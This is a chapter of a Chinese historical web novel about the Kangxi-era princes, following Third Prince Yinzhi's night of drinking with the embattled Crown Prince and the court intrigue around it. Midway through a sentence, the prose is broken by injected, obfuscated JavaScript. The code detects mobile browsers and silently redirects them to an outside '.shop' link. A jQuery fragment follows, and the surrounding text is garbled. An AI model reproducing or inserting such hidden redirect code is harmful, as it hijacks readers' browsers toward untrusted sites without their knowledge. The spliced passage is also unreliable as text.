康熙三十二年的春天，宫里忽然紧张起来。
胤祉说不上这股紧张从哪儿来。尚书房的课照旧，师傅们还是那样不紧不慢地讲，阿哥们还是那样昏昏欲睡地听。但宫道上的太监脚步快了，见了面交头接耳的多了，乾清宫门口递折子的大臣排得比往年长。连胤祺这种大大咧咧的人都觉出了不对劲，有一天拽着胤祉的袖子问：“三哥，是不是出什么事了？”
胤祉没回答。他也不知道出了什么事，但他能感觉到风在变。像夏天雷雨之前，闷得透不过气，树叶子一动不动，蝉叫得撕心裂肺。
消息是四弟带来的。
那天散学后，胤禛没有像往常那样直接回自己的院子，而是跟着胤祉走到了阿哥所门口。他站在门口，犹豫了一下，迈步跟了进去。
“三哥，朝上出事了。”他关上门，声音压得很低。
胤祉正在研墨，手顿了一下，抬起头。
“有人在皇阿玛面前进了谗言，说石文炳跟索额图结党。”胤禛说这话的时候，脸上没什么表情，但手指在膝盖上轻轻叩着，“说石文炳活着的时候，跟索额图书信往来频繁，商量……商量太子的事。”
胤祉研墨的手停了。墨锭搁在砚台上，半截浸在墨汁里，慢慢往下沉。
“皇阿玛怎么说？”他问。
“震怒。”胤禛说了一个字，然后沉默了。
胤祉也沉默了。他知道“震怒”意味着什么。康熙的震怒，不是摔东西骂人那种，是冷下来，不说话了，不见人了，把折子压着不批，让所有人猜他的心思。那种怒，比发火可怕十倍。
“太子呢？”他问。
“太子在毓庆宫，没出来。”胤禛顿了顿，“大哥那边……高兴。”
最后两个字说得很轻，但胤祉听出了里头的分量。大阿哥高兴。大阿哥的舅舅是明珠，明珠跟索额图斗了十几年。石文炳是索额图举荐的人，石文炳倒了，索额图就少了一个帮手。太子是索额图的外甥，太子妃的娘家出了问题，太子脸上也无光。大阿哥高兴，不是高兴石文炳死了，是高兴太子又少了一张牌。
胤祉把墨锭从墨汁里捞出来，用布擦了擦，搁在砚台边上。
“四弟，这话你跟我说说就行了，别往外传。”
“我知道。”胤禛站起来，“三哥，我就是来告诉你一声。你心里有数就行。”
他走到门口，又停下来，没有回头。
“三哥，你说太子会不会有事？”
胤祉想了想，说：“太子是太子。不会有事的。”
胤禛点了点头，推门出去了。
胤祉坐在书案前，看着那半砚台磨好的墨，墨汁浓黑浓黑的，映着窗外的光，像一潭深不见底的水。
他想起前年秋天在御花园里，太子坐在银杏树下说“有时候我真羡慕你”。那时候太子羡慕他不用被放在秤上称。现在太子被放在秤上了，秤砣压得死死的，不知道哪头重哪头轻。
他没有去找太子。不是不想，是不能。这个时候去找太子，被人看见了，不知道会传出什么话来。他是三阿哥，不争不抢，安安静静地待在自己的院子里，比什么都强。
但他每天都会往毓庆宫的方向看一眼。远远的，看不见什么，只能看见层层叠叠的宫墙和屋顶，灰瓦在日光下沉默着。
过了几天，他听说太子去乾清宫跪了。
梁九功传出来的话，说得不清不楚——“太子在乾清宫外跪了半个时辰，万岁爷没见。”半个时辰，不长不短。跪在乾清宫外的石板上，春天还没暖和起来，地上凉气重。太子跪了半个时辰，出来的时候脸色煞白，走路都在打晃。
胤祉听到这个消息的时候，正在院子里给枣树苗浇水。他手里提着一把小水壶，慢慢地往树根底下浇。水渗进土里，发出细微的滋滋声。他浇完水，把小水壶放在一边，蹲下来看了看那棵枣树苗。它已经长到一尺多高了，枝干比去年粗了不少，叶子绿得发亮，在春风里轻轻摇晃。
他蹲在那里看了很久，然后站起来，进屋，关上了门。
那天晚上，毓庆宫的人来了。
来的是太子身边的太监王瑞，四十多岁，在太子跟前伺候了十几年，走路不紧不慢的，脸上永远挂着温和的笑。但今晚他的笑不太自然，嘴角弯着，眼角却是平的。
“三阿哥，太子殿下请您过去坐坐。”他站在门口，弓着腰，声音不大。
胤祉正在灯下看书，闻言放下书卷，看了王瑞一眼。
“知道了。你先回去，我换件衣裳就来。”
王瑞应了一声，退了出去。
胤祉站起来，从柜子里拿出一件石青色的常服袍子换上。他没穿礼服，也没穿便服，就是平时见太子时穿的那件，不正式也不随意，刚刚好。小路子要跟着，他摆了摆手：“你在家待着，我一个人去。”
“三阿哥，天黑了——”
“没事。”
他出了院子，沿着宫道往毓庆宫走。夜风凉飕飕的，吹得宫灯晃来晃去，光影在地上忽长忽短。他走得不快不慢，脑子里什么都没想，又好像什么都想了。太子这个时候叫他，不是去下棋的，不是去喝茶的。是去说话的。太子需要一个人听他说说话。
毓庆宫的门半掩着，灯笼只点了门口两盏，里边黑洞洞的，不像平时那样亮堂。王瑞在门口等着，看见胤祉来了，弯腰引着他往里走。穿过前院，绕过影壁，到了东暖阁。门开着，里面点了一盏灯，灯光昏黄，把屋里照得半明半暗。
太子坐在炕上，面前的炕桌上摆着一壶酒和两个杯子。酒壶是青花的，壶嘴还在冒着热气，酒是温过的。杯子已经倒满了，琥珀色的酒液在灯光下微微发亮。
“三弟，来了？坐。”太子指了指对面的位置。
胤祉在对面坐下。太子今天穿了一件月白色的袍子，没戴帽子，头发束着，露出一截清瘦的脖颈。他比前年瘦了不少，下巴尖了，眼窝也深了些，眼下有淡淡的青黑色，像是好几夜没睡好。但他的表情是平静的，平静得有些不正常。
“臣弟给殿下请安。”
“别请安了。”太子端起酒杯，“今晚没有殿下，没有臣弟。你陪我喝酒。”
胤祉端起酒杯，跟太子的碰了一下。杯子相碰发出清脆的一声响，在安静的暖阁里格外清晰。他喝了一口，酒是温的，不辣，有一股淡淡的甜味，像是黄酒。太子一饮而尽，把空杯子放在桌上，胤祉给他斟满。
两个人就这么喝了几杯，谁都没说话。炭盆里的炭烧得正旺，偶尔噼啪一声，火星子飞出来，落在灰里，很快就灭了。墙上挂着一幅字，写的是“淡泊明志”，字迹端正，墨色已旧。窗外的风大了一些，吹得窗棂呜呜响，像是有人在远处哭。
太子又喝了一杯，放下杯子，看着面前的酒壶。
“三弟，”他开口了，声音有些哑，“你听说了吧？”
胤祉点了点头。
“石文炳。”太子说了这三个字，像在念一个不太熟悉的名字，“他活着的时候，我没见过他。他死了，我倒是天天听人提起他。”
他端起酒杯，又放下了，没喝。
“有人说他结党，有人说他贪污，有人说他活着的时候跟索额图商量着怎么帮我——帮我什么？帮我当皇帝？我本来就是太子，还用得着他们帮？”
他的声音不大，但每个字都像是从牙缝里挤出来的，带着一股压了很久终于压不住了的气。那股气不是冲着胤祉的，是冲着那些看不见摸不着的东西——朝堂上的暗流，大臣们的算计，还有那道永远隔在他和康熙之间的墙。
“皇阿玛不见我。”太子的声音低了下去，“我跪了半个时辰，他不出来。”
胤祉端着酒杯，没喝。他看着太子，太子的眼睛在灯光下微微泛红，不是要哭，是那种几天没合眼之后干涩的红。
“臣弟听说了。”他说。
太子沉默了一会儿，忽然笑了一下。那笑容很苦，像是嚼了一颗没熟的柿子，涩得舌头发麻。
“三弟，你说，我到底做错了什么？”
胤祉没有回答。不是不想回答，是答不了。太子没有做错什么。石文炳结党不是他的错，索额图揽权不是他的错，大阿哥争储不是他的错，康熙的猜忌也不是他的错。但所有的错，最后都要算在他头上。因为他是太子。太子的存在本身就是一根刺，扎在康熙心里，扎在大臣们心里，扎在他自己心里。
胤祉放下酒杯，拿起酒壶，给太子斟满。
太子端起酒杯，没有喝，握在手里转了两圈，琥珀色的酒液在杯壁上挂了一层薄薄的膜。
“三弟，”他说，“你知道我为什么叫你来？”
“臣弟不知道。”
“因为别人来了，不是劝我，就是教我。劝我‘殿下宽心’，教我‘殿下该怎么做’。你不劝，也不教。你只会坐在这儿，给我倒酒。”
胤祉又给他倒了一杯。
太子喝了那杯酒，咳嗽了两声，用手背擦了擦嘴角。
“三弟，”他的声音放得很低很低，“我有时候想，我要是不是太子就好了。”
这句话他不是第一次说。上一次说，是在御花园的银杏树下，那时石文炳还活着，太子大婚还在筹备中，一切都还有转圜的余地。这一次再说，语气完全不一样了。上一次是感慨，这一次是疲惫。走了很远的路，累得说不出话来，只想找个地方坐一歇。
胤祉看着他，心里忽然涌上一股酸涩。太子的眼睛在灯光下亮亮的，不是泪光，是那种烧得太久了快熄灭了的余烬。
“殿下，”胤祉开口了，声音不大但很稳，“臣弟不会说宽心的话。但臣弟知道一件事——殿下是皇阿玛亲自选的太子。皇阿玛选殿下的时候，不是在选一个完美无缺的人。他选的是自己的儿子。”
太子抬起头，看着他。
“石文炳的事，不是殿下的错。朝堂上的事，也不是殿下能左右的。殿下能做的，就是等。等皇阿玛的气消了，等风头过去了，等该办的事办好。”
“等多久？”太子问。
胤祉摇了摇头：“臣弟不知道。”
太子看着他，看了好几秒，然后忽然笑了。这次的苦笑比方才淡了些，带着一丝说不清道不明的释然。
“你倒是诚实。”他说，“别人跟我说‘殿下不必忧心’，我说‘好’。你跟我说‘殿下不知道’，我说‘嗯’。你说的是真话，所以我信。”
他端起酒杯，这回没有一饮而尽，而是慢慢抿了一口，像是在品味道。
“三弟，你说皇阿玛选我的时候，选的是他的儿子。那他为什么不信我？”
胤祉想了想，说：“信和不信，不是一句话的事。皇阿玛是一国之君，他要考虑的事情太多。他不是不信殿下，是不敢全信。”
太子的手顿了一下。
“不敢全信。”他重复了这四个字，像是在咀嚼一颗没滋味的糖，“这四个字，比‘不信’还伤人。”
胤祉知道。但他不想骗太子。
“皇阿玛有皇阿玛的难处。”他说，“殿下有殿下的难处。臣弟不知道谁的难处更大，但臣弟知道，殿下不用一个人扛着。”
太子看着他，目光里有一种说不清的东西。
“你扛什么？”他问，“你才十七。”
“臣弟扛不了什么。”胤祉说，“但臣弟可以坐在这儿，陪殿下喝酒。”
太子笑了一下。这回是真的笑了，很淡，但比之
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17587793|203971||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
前的都真。
炭盆里的炭烧得差不多了，火苗小了下去，屋里暗了一些。窗外的风停了，安静得能听见自己的心跳声。桌上的酒壶已经见了底，茶壶里的茶也凉了。王瑞在门外探头探脑，想看又不敢看。
太子靠在炕上，闭着眼睛，长长地呼了一口气。
“三弟，你回去吧。不早了。”他说，声音比方才平和了许多。
胤祉站起来，行了个礼。走到门口的时候，太子忽然在身后叫住了他。
“三弟。”
他回过头。
太子还靠在炕上，没有坐起来，闭着眼睛，像在跟空气说话。
“幸亏还有你。”
四个字，不轻不重，落在胤祉心里，却像是砸下来一块石头。他没有回话，转过身，推门出去了。
夜风扑面而来，冷得他打了个寒颤。他深吸了一口气，冰凉的空气从鼻腔一直凉到肺里，整个人清醒了不少。毓庆宫门口的王瑞朝他鞠了一躬，他点了点头，沿着宫道往回走。
灯笼还亮着，橘黄色的光晕在夜风中微微晃动。他的影子被拉得忽长忽短，像一个心事重重的鬼魂。走到半路，他忽然停下来，抬头看了看天。月亮被云遮住了，只有几颗星星稀疏地挂着，暗淡得像快要熄灭了。
他加快脚步回了阿哥所。
小路子还在廊下等着，缩着脖子，冻得直搓手。看见胤祉回来，赶紧迎上来：“三阿哥，您回来了！奴才给您热了姜汤，您喝一碗暖暖身子。”
胤祉接过姜汤，喝了两口，辣得嘶了一声。他把碗还给小路子，进了屋。
屋里还点着灯，书案上的书卷还翻在他离开时的那一页。他坐下来，看着那页书，一个字都看不进去。脑子里全是太子今晚的样子——坐在灯光下半明半暗的脸，说“皇阿玛不信我”时低下去的声音，说“幸亏还有你”时闭着的眼睛。
他忽然想写点什么。
铺开一张纸，提起笔，想了想，写了一行字：“康熙三十二年春，太子夜饮，言甚苦。臣弟陪坐，不能解其忧，惟续茶斟酒而已。”
写完了看了看，又加了一行：“太子说：幸亏还有你。”
他把纸折好，没有放进抽屉，而是夹在了那本《左传》里。翻了翻，正好是城濮之战的那一页——“退避三舍”。他盯着那三个字看了一会儿，合上书，吹了灯，躺到床上。
床上的被子还没暖过来，凉飕飕的，他蜷着身子缩成一团。窗外的月亮从云层后面露出半张脸，惨白惨白的，照在窗纸上，像一张没有表情的脸。
他闭上眼睛。
第二天一早，胤祉去尚书房的路上碰见了四阿哥。胤禛的脸色也不太好，眼下青黑，像是也没睡好。
“三哥，”他凑过来，压低声音，“昨晚太子找你了？”
胤祉看了他一眼：“你消息倒灵通。”
“毓庆宫的人去你院子，有人看见了。”胤禛顿了顿，“大哥那边也知道了。”
胤祉没说话。
“三哥，你小心点。”胤禛的声音很低很低，“现在这时候，谁跟太子走得近，谁就是大哥的靶子。”
“我知道。”
“你知道就好。”胤禛说完这句话，加快脚步走了。
胤祉站在宫道上，看着四弟的背影越来越远，晨光把他的影子拉得长长的，投在青石板上，一晃一晃的。他站了几秒，继续往前走。
日子还是要过的。尚书房的课不能缺，骑射课不能请假，永和宫的晨昏定省不能断。他该干嘛干嘛，不躲不闪，也不出头。一切如常，像什么都没发生过。
但有些事变了。
荣妃开始在他每次去请安的时候多问几句——“最近见过太子没有？”“说过什么话？”“你大哥有没有找你麻烦？”每一句都问得小心翼翼，像是在试探，又像是在担心。胤祉一一答了，说没有，说没什么，说大哥忙，没空找他麻烦。荣妃听了，点了点头，但眉间那道纹路比从前深了些。
五弟还是那样没心没肺，不知道朝堂上的风浪，来了就拽着他的袖子要吃的。胤祉从抽屉里摸出一颗干枣递给他，胤祺接过去咬了一口，嚼了两下，说“三哥你这枣子哪儿来的，真甜”。胤祉笑了笑，没说是昭宁给的。
昭宁。他想起她上次进宫时说的“你以后不要只写信了，出宫来找我玩”。他不知道什么时候才能出宫。太子的事像一块大石头压在水面上，激起的涟漪一圈一圈地扩散，不知道什么时候才能平。这时候他不能有任何让人抓住把柄的举动——包括出宫去董鄂府。
他给昭宁写了一封信，不长。
“昭宁：最近宫里事多，我不能出宫。你照顾好自己，骑马小心，爬树也别摔了。枣树苗又长高了，快到我膝盖了。你上次说给我留了两个柿子，还留着吗？别坏了，坏了可惜。”
昭宁的回信来得很慢，等了快一个月。
“三爷：柿子还留着。我用油纸包了，放在地窖里，坏不了。你放心办你的事，我不催你。我阿玛说，男人忙的时候，女人别添乱。我不添乱。你忙完了再来。枣树苗你替我浇浇水，等我进宫去看。”
胤祉看完信，把那页纸翻来覆去看了两遍，然后折好放进抽屉。
他站起来，走到窗前。院子里那棵枣树苗在春风里摇晃着，枝叶比去年密了不少，已经不像一棵“苗”了，更像一棵小树。他看了好一会儿，拿了小水壶，出去给它浇水。水渗进土里，发出细微的滋滋声，像是它在喝水，又像是在跟他说话。
他蹲在树苗旁边，用手拨了拨土，看了看根部的状况。根扎得很深了，土下面的细根已经蔓延开来，牢牢地抓着大地。他拍了拍手上的泥，站起来。
慢慢长。不急。